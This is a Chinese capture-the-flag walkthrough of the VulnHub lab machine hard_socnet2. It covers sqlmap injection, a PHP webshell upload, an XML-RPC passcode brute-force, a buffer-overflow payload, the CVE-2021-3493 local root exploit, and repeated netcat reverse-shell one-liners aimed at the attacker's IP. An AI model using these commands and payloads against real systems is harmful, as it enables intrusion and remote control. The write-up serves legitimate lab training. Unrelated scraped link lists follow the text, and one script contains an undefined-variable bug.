hard_socnet靶机(vulnhub)

2023-11-18

这个靶机的难度很高。慢慢摸索,接触新知识。

首先这个靶机是2020 年的,我们如今2022年,2021出现了新的内核漏洞,CVE-2021-3493,我们这里可以利用,也成功了,但是,如果我们就在2020做此靶机怎么办呢?这里分享了两种打靶思路。

https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

靶场链接:链接:https://pan.baidu.com/s/1HaAn_3cF-vFCgnoQ1IC75Q
提取码:ifat

方法1:

1.主机发现

arp-scan -l

2.端口扫描

3.漏洞利用

显示的是不支持GET请求,那就去抓包重发尝试:OPTIONS,POST,PUT,DELETE,返回的都是500报错。没有思路了。访问80端口:一个登录框。登录需要正确的电子邮箱,显然爆破很难,但是提供了注册,那么就注册。登陆后这样的界面(不建议大家尝试XSS漏洞,可能会被烦到)

知道了存在python脚本,那么存在python的运行环境

个人中心存在上传点:

直接尝试上传php一句话木马。上传成功直接拉图片能看到图片地址,蚁剑连接就行,可以打开虚拟终端。

还有一个漏洞,面对网站的搜索栏,尝试输入点,直接出来了sql的回显,直接上sqlmap梭哈:

​

python sqlmap.py -u "http://192.168.56.104/search.php?location=emails&query=1"
​

 

 

拿密码去登录:登陆上但是没有任何用。SQL注入得到的密码可以保留。可能用得到。

4.提权

查看系统版本: lsb_release -a

直接拿最新漏洞去尝试,这里找文件半天,就是不想去网上直接下载。。。这是在kali的位置

find / -name "CVE-2021-3493" 2>/dev/null
/usr/share/metasploit-framework/data/exploits/CVE-2021-3493

GitHub下载地址:GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc

上传文件:

虚拟终端操作一下:这里出来了bash-4.4# 他应该是成功了,但是不知道为什么被关闭了。可能是蚁剑的功能不够齐全。

nc 反弹shell试试:没有nc的参数,这里可以使用nc串联。

推荐大家看下这个博客,很详细的内容反弹Shell原理及检测技术研究 - 郑瀚Andrew.Hann - 博客园

这段命令的意思是:利用操作系统的命令--mkfio,实现先进先出的堆栈的效果。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 3344 >/tmp/f

反弹shell后在执行exp:

另外一种方法:

回到www权限,再寻找线索。cat /etc/passwd

cd /home
cd socnet
ls -l  发现monitor.py 和网站内容提到的一致,具有监视服务器的作用

 

并且文字说明已经运行了,

ps aux | grep monitor   查看一下

这里的文件有个peda  它是动态调试,可能存在溢出漏洞,比如说:缓冲区溢出,堆溢出,是GDB的一种插件

作用有:增强gdb的显示:在调试过程中着色并显示反汇编代码,寄存器和内存信息。增强GDB调试能力

分析源码,获得用户shell

查看monitor.py的源码:直接分析代码,下面链接介绍了XMLRPC的作用

#my remote server management API
import SimpleXMLRPCServer  --引入的服务
import subprocess
import random               --随机数

debugging_pass = random.randint(1000,9999)   --随机生成1000-9999

def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output

def cpu():
    return runcmd("cat /proc/cpuinfo")

def mem():
    return runcmd("free -m")

def disk():
    return runcmd("df -h")

def net():
    return runcmd("ip a")

**def secure_cmd(cmd,passcode):  -- 定义secure_cmd函数,调用了cmd和passcode
    if passcode==debugging_pass:   --注意这里,是否等于之前那个1000-9999随机数
         return runcmd(cmd)
    else:
        return "Wrong passcode."**

**server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
  导致之前对目标靶机web访问请求方式的失败原因,只接受xml_rpc方式。**
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

server.serve_forever()

xml-rpc在服务器端中生成一个API接口,这样服务端就可以接受来自装有xml-rpc客户端的请求方式,来提供应用交互。这里是他的介绍

 

构造出一个客户端代码:目的是爆破出debugpass

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
    for i in range(1000,10000):
      r = str(proxy.secure_cmd('whoami',i))   #执行secure_cmd这函数,
      if not "Wrong" in r:
      print(p)
      print(r)
      break;

破解出了一个随机的4位数,当目标系统执行7258的数值,就会成功执行whoami的这条命令--返回的目标靶机的当前用户名,将这个7258这个值复制下来

然后利用这个值去执行cmd命令。别忘记kali 的监听:构造代码执行cmd,执行成功获得shell,这是socnet用户的shell

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4455 >/tmp/f"
    r = str(proxy.secure_cmd(cmd,7258))
    print(r)

简化版本代码

import xmlrpc.client
import random
while True:
    word = random.randint(1000,9999)
    with xmlrpc.client.ServerProxy("http://192.168.56.104:8000/") as proxy:
        res = str(proxy.secure_cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 4455 >/tmp/f',word))

缓冲区溢出漏洞利用

web漏洞原理:都是通过输入数据等,从而使服务器程序在处理的时候出现异常情况。

那么对add_record程序的漏洞发现利用。看看文件类型:ELF文件格式可以理解成类似windows下PE的文件格式

经过 ls -l判断 add_record 文件存在root权限使用。

测试完使用方法后:使用gdb可以知道程序的使用的具体信息

gdb -q ./add_record     peda是其脚本
输入r   程序运行

**这里的测试方法:**主要是对每一项输入大量的字母,AAAAAAAA,监视内存的变化。测试思路:大量数据测试缓冲区溢出的漏洞

使用脚本输出要测试的数值:python -c "print('A' * 500)"

 

就这样尝试,发现在备注的地方出现了溢出问题。之后的思路:找到出现溢出的位置,在该位置处输入自己的payload,反弹shell,获得权限。

请初学者尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。

100个A依旧会溢出,那么采用gdb的调试器生成特征字符。

pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2A**AHAA**dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
找到了之后看着很麻烦,使用gdb的功能
pattern search     #看到了是62以后的溢出

 

 

EIP这里的数字0x41414141,代表的就是X,是ascii码的X

之后查看add程序的主程序加载信息

这就需要汇编的基础了:简单了解就是一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。

根据程序运行的各类逻辑提示,这里需要利用“下断点”的方式去了解程序的内部运作,说的直接一些,断点的意思就是程序到这个点的时候停止,不需要下一步运行。

fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思
put,其作用是输出,配合Printf内建函数进行打印输出。

 

一步一步分析:

fopen@plt    应该是打开文件把东西保存进去
printf@plt   把文件写入
那就使用断点功能判断一下功能都是什么
**断点调试:选中前面的内存地址,赋值
break * 内存地址
run
s 单步向前只进行对一个cpu的指令

**然后del 1 删除这个断点信息。再重复尝试


 

继续往后看:发现了vuln

执行info func:查看程序的内建函数,存在system和setuid,vuln,backdoor

执行disas vuln:具体查看函数,发现了strcpy函数,这里可能存在漏洞。直接搜索。

 

 

分析后漏洞利用(原理)

分析到这里,我们已经想好了具体的思路:vuln必定会执行,而且vuln存在有缓冲区漏洞的内件(strcpy),主函数没有直接调用backdoor,,所以利用这个缓冲区溢出漏洞,向EIP寄存器里写入backdoor函数的起始内存加载地址。。从而通过漏洞执行backdoor函数,利用backdoor会调用setuid以及system,;进而执行system函数的操作系统的命令。

分析地址问题:发现了内存地址十六进制数据的规律,他是ascii编码,但是倒着写了。CPU架构(大头,小头导致的)。所以我们构造的代码需要倒着写才能执行。

backdoor的起始地址:0x08048676

python -c "import struct; print('mnb\n1\n1\n1\n' +'A'*62+str( struct.pack('I',0x08048676)))">payload

小插曲:本地测试代码执行报错:TypeError: can only concatenate str (not "bytes") to str

通过struct.pack后的格式是unsigned char,两边字符的格式不一致,导致不能用“+”进行拼接。解决方法:1、将 struct.pack(‘B’, s)替换为str(struct.pack(‘B’, s)),完成字符串拼接

在靶机的shell中输入命令,

先退出gdb,按下q即可:
执行python命令
进入gdb -q ./add_record
r < pauload    然后可以看到新增了几个进程

定位,设断点看原理:
然后定位vuln的运行break vuln
r < payload
单步s跟进
重点关注堆栈和寄存器里的值
需要多次单步跟进s ,直到在堆栈中发现backdoor函数,调用了setuid
直到下图能看到system函数被调用。

 

最后,利用payload来触发漏洞,返回root权限

cat payload - | ./add_record payload - | #这里的 - 代表所有数据 | 把所有数据带到程序执行

最后就是root权限,还是可以nc反弹shell。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.208 3031 >/tmp/f

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

hard_socnet靶机(vulnhub) 的相关文章

  • 带单引号的 XPATH 查询[重复]

    这个问题在这里已经有答案了 有人知道如何解决这个问题吗 单引号让我陷入困境 nodes xml gt xpath item contains catalog Billy s Blogs title 我尝试以各种方式逃避它 但都抛出错误 no
  • Laravel Redis 配置

    我目前正在使用 Laravel 和 Redis 创建一个应用程序 几乎一切都工作正常 我按照文档中的说明扩展了身份验证 用户可以订阅 登录 注销 我可以创建内容 所有内容都存储在 Redis 中 但我有一个问题 我无法运行 php arti
  • 在同一服务器上的 2 个子域中安装 2 个 WordPress 时共享用户

    我有 2 个 WordPress 网站 位于 2 个不同的子域中 例如test1 abc com and test2 abc com 这两个网站都激活了 wp require 插件 只有登录用户才能看到该网站 我们想要创建一个系统 如果用户
  • IMAP 和 PHP - 从已发送文件夹和收件箱文件夹中获取所有电子邮件

    我正在尝试获取接收和发送的所有电子邮件 并使用 PHP 将其写入 mySQL 数据库 我使用的主机名是 hostname imap gmail com 993 imap ssl INBOX 它仅引用收件箱 并成功抓取收到的电子邮件 为了抓取
  • php - 致命错误:调用 AppServ 中未定义的函数 mcrypt_get_iv_size()

    当我通过以下方式使用 mcrypt get iv size 函数时发现一个问题AppServ https www appserv org 我尝试寻找与解决问题相关的主题 但是 我尝试将 libmcrypt dll 下载到 symtem32
  • Apache LOG:子进程 pid xxxx 退出信号分段错误 (11)

    Apache PHP Mysql Linux 注意 子进程 pid 23145 退出信号分段错误 11 tmp 中可能存在 coredump 但 tmp下没有找到任何东西 我怎样才能找到错误 PHP 代码中函数的无限循环导致了此错误
  • RuntimeException - 会话存储未根据请求设置 - Laravel Socialite - Facebook

    我在用着Laravel 5 7 and Laravel Socialite 3 1 我想使用登录Facebook我刚刚为此项目配置了应用程序 这些是我为此配置的主要文件 env FACEBOOK CLIENT ID FACEBOOK CLI
  • php / phpDoc - @return $this 类的实例?

    如何在 phpDoc 中将方法标记为 返回当前类的实例 在下面的示例中 我的 IDE Netbeans 将看到 setSomething 始终返回foo object 但如果我扩展对象 情况就不是这样了 它会返回 this 在第二个示例中是
  • WAMP PHP 启动错误:无法加载动态库

    我的 WAMP 服务器昨天工作得非常好 今天我不得不重新启动计算机 但有些事情搞砸了 服务器从未完全启动 任务栏图标保持橙色 我的项目将打开 但仅加载 HTML 而不加载 PHP 这是我的 PHP 错误日志 04 Oct 2014 01 3
  • Cron 作业的远程地址问题

    我需要获取访问者的IP 但是当cron运行时 它发现REMOTE ADDR是一个未定义的索引 事实上 当文件与 cron 一起运行时 没有远程地址 我该如何避免这个问题 PHP 有没有办法说 如果 REMOTE ADDR 存在则考虑它 如果
  • Laravel 5.7:维护模式的自定义刀片模板,但不是 503.blade.php

    每次php artisan down开启后 Laravel 显示 503 页面 好的 我可以通过创建名为的新文件来自定义它503 blade php inside resources views errors 关键是 我在任何时候都不认为维
  • Symfony/Form:函数 DoctrineType::__construct() 的参数太少

    我有一个奇怪的错误 我在自己的系统中实现了 Form 组件 我在那里创建了一个 FormType 其中使用 EntityType 作为字段 每次我想用 formBuilder 创建表单时 它都会抛出以下错误 Fatal error Unca
  • Symfony2 实体字段在选项为空时显示所有条目

    我的 Symfony2 项目中有一个实体类型表单字段 builder this gt createFormBuilder projects this gt getProjects builder gt add project entity
  • 不区分大小写的 array_unique

    我正在尝试编写几行代码来创建一个不区分大小写的数组唯一类型函数 这是我到目前为止所拥有的 foreach topics as value lvalue strtolower value uvalue strtolower value if
  • 软删除最佳实践(PHP/MySQL)

    Problem 在处理产品和订单的 Web 应用程序中 我想维护前员工 用户 与他们处理的订单之间的信息和关系 我想维护过时产品和包含这些产品的订单之间的信息和关系 然而 我希望员工能够整理管理界面 例如删除前员工 过时的产品 过时的产品组
  • POSTed 数组保留其值

    今天 我注意到我的一个 WordPress 安装的行为方式非常奇怪 每当我从仪表板更新帖子时 它的一些额外输入都会保留它们已有的值 所有这些都是多维数组 例如 post php post 123 action 编辑
  • 检查字符串是否编码为 UTF-8

    function seems utf8 str length strlen str for i 0 i lt length i c ord str i if c lt 0x80 n 0 0bbbbbbb elseif c 0xE0 0xC0
  • MySQL如何从多个表中获取数据

    我正在寻找 php MySQL jquery 的帮助 我有2张桌子 table1表 1 有 4 列 id 标题 desc thumb img tabel2表 2 有 3 列 id 表 id img 我只想将 2 个表与 get QS 的值进
  • Symfony VS CakePHP:哪一个最接近 PHP [关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我主要是一名 Rails 开发人员 但有时 我必须使用 PHP 进行编码 因为 stackoverflow com更喜欢可以回答的问题 我想知道
  • 从 $i 获取值,顺序被打乱

    for i 0 i lt count name i some output ommited td td

随机推荐

  • android 中的的 sp/wp/RefBase

    转自 http blog csdn net innost article details 6752443 5 1 概述 初次接触Android源码时 见到最多的一定是sp和wp 即使你只是沉迷于Java世界的编码 那么Looper和Hand
  • STM32CubeIDE IAP原理讲解,及UART双APP交替升级IAP实现

    随言 IAP应该是我唯一想写的文章 从创建这个账号开始 但是不知不觉几年过去了 一直没去写这文章 现在就随便写写吧 曾做过4G模块UART协议与STM32通讯实现远程无线迭代升级 一共2个APP bootloader优先选择稳定高版本的AP
  • 最详解决:jupyter notebook不会自动打开浏览器问题

    一 宝刀未老的老Amy回归之 问题描述 好久木有在 csdn 上写文章了 那是什么原因让 开摆一年 的老Amy 开写 了呢 噔噔蹬蹬 答案是 老Amy的一颗责任心 言归正传 最近替别的老师上几节课 刚好告诉大家如何安装 jupyter 以及
  • 线程复习(针对面试)

    问题一 请说明一下进程和线程的区别 一个进程运行要给他分配系统资源 维护他的代码段和数据段 堆栈等 而线程跟他共享这些 节俭的多任务操作方式 典型的UNIX Linux进程可以看成只有一个控制线程 一个进程在同一时刻只做一件事情 有了多个控
  • (附源码)spring boot西安市中小学生护眼平台开发 毕业设计 080855

    springboot西安市中小学生护眼平台开发 摘要 俗话说 眼睛是心灵的窗户 可在这个科学技术日新月异发展的大千世界里 戴眼镜的人却随处可见 特别是我国在校学生3 2亿 平均近视率超过60 其中小学生为35 初中生为65 高中生达79 更
  • CAD螺纹lisp程序_公英制螺纹标注方法及加工大全

    普通螺纹的标记 螺纹公差带代号的标注在螺纹代号之后 中间用 分开 如果螺纹的中径公差带代号不同 则分别注出 前者表示中径公差带 后者表示顶径公差带 如果中径公差带与顶径公差带代号相同 则只标注一个代号 例如 M10 5g6g M10 1 6
  • shell是什么?ssh 与 git bash linux或cmd与 shell区别

    什么是shell Bash介绍及内容 1 认识Bash这个Shell 管理整个计算机硬件就是操作系统的内核 而内核是需要被保护的 不能让用户随便去修改不然系统崩溃了怎么办 所以一般用户只能通过Shell来跟内核沟通 shell的定义 什么是
  • ajax上传netcore插件,.NET Core Web 文件分片上传,带进度条实用插件

    git CMD命令 git initgit add 添加文件至暂存区 git commit m 描述性语句 随意写即可 git branch gh pages 创建仓库分支 git checkou 使用ARM模板部署自动扩展的Linux V
  • canvas圆形和正方形碰撞检测

    1 圆形碰撞检测 弧度转角度 function d2a n return n Math PI 180 角度转弧度 function a2d return n 180 Math PI window onload function let oC
  • 技术干货的选择性问题

    今天准备整理下微信的收藏夹 因为我发现好像在里面已经收藏了太多文章 这些收藏的文章并不是已经读过觉得不错故而收藏的 而是全没读过的 而其中的很大部份都是所谓的技术干货型文章 因为这类文章一方面比较长 另一方面比较费脑 所以我总是习惯在碰到的
  • 微软2013暑假实习生笔试题

    自己mark一下 以作后备 下面提交原文链接 原文博客 部分题目答案不确定 会持续更新 1 Which of the following calling convention s support s supportvariable leng
  • 报警服务器物理内存,从内存告警谈ESXi主机内存管理——内存构成

    在 如何处理ESXi主机的黄色告警 一文中我们提到了在没有冗余的管理网络或启用SSH的情况下 ESXi主机图标右下方将会出现黄色的告警 除了上述配置导致告警之外 另一种常见的告警就是ESXi主机的内存使用率过高 ESXi主机内存告警 当ES
  • osgEarth的Rex引擎原理分析(六十七)TileNode中的_surface(SurfaceNode)作用是什么

    目标 五十五 中的问题138 每个瓦片TileNode都有一个 surface SurfaceNode 这里面会存放瓦片的几何信息 drawable TileDrawable 这个几何信息会传给DrawTileCommand 用于绘制该瓦片
  • protobuf的安装使用

    简介 Protobuf是Protocol Buffers的简称 它是Google公司开发的一种数据描述语言 是一种轻便高效的结构化数据存储格式 可以用于结构化数据串行化 即序列化 它很适合做数据存储或 RPC 数据交换格式 可用于通讯协议
  • 转 使用Android Studio 创建第一个Android 应用

    转自 https blog csdn net u013926216 article details 81977815 一 使用Android Studio 开发Android 应用的流程 二 一个简单的登陆界面程序 程序功能说明 创建And
  • 有关win10的C:/ProgramFiles\WindowsApps\文件系统错误(12007)问题

    win10电脑开机的时候 突然出现这二个系统错误 C ProgramFiles WindowsApps b9eced6f asusbatteryhealthcharging 1 0 7 0 86 qmba6 以及 C ProgramFile
  • mysql 如何转换数据结构_如何将SQL查询结果转换为PANDAS数据结构?

    在这个问题上的任何帮助将不胜感激 所以基本上我想对我的SQL数据库运行查询并将返回的数据存储为Pandas数据结构 我已附上查询代码 我正在阅读有关Pandas的文档 但是在识别查询的返回类型时遇到了问题 我试图打印查询结果 但没有提供任何
  • 从零开始用C语言实现图片解码播放器(有源码)

    1 项目描述 1 1 项目硬件平台介绍 1 硬件平台 九鼎公司的X210开发板 S5PV210 Cortex A8内核 2 软件平台 linux2 6 35 7内核 直接基于linux API操作 1 2 项目功能介绍 1 调用编译好的可执
  • java---模块化

    模块的基本使用 模块的基本使用步骤 创建模块 按照以前的讲解方式创建模块 创建包 创建类 定义方法 为了体现模块的使用 我们创建2个模块 一个是myOne 一个是myTwo 在模块的src目录下新建一个名为module info java的
  • hard_socnet靶机(vulnhub)

    这个靶机的难度很高 慢慢摸索 接触新知识 首先这个靶机是2020 年的 我们如今2022年 2021出现了新的内核漏洞 CVE 2021 3493 我们这里可以利用 也成功了 但是 如果我们就在2020做此靶机怎么办呢 这里分享了两种打靶思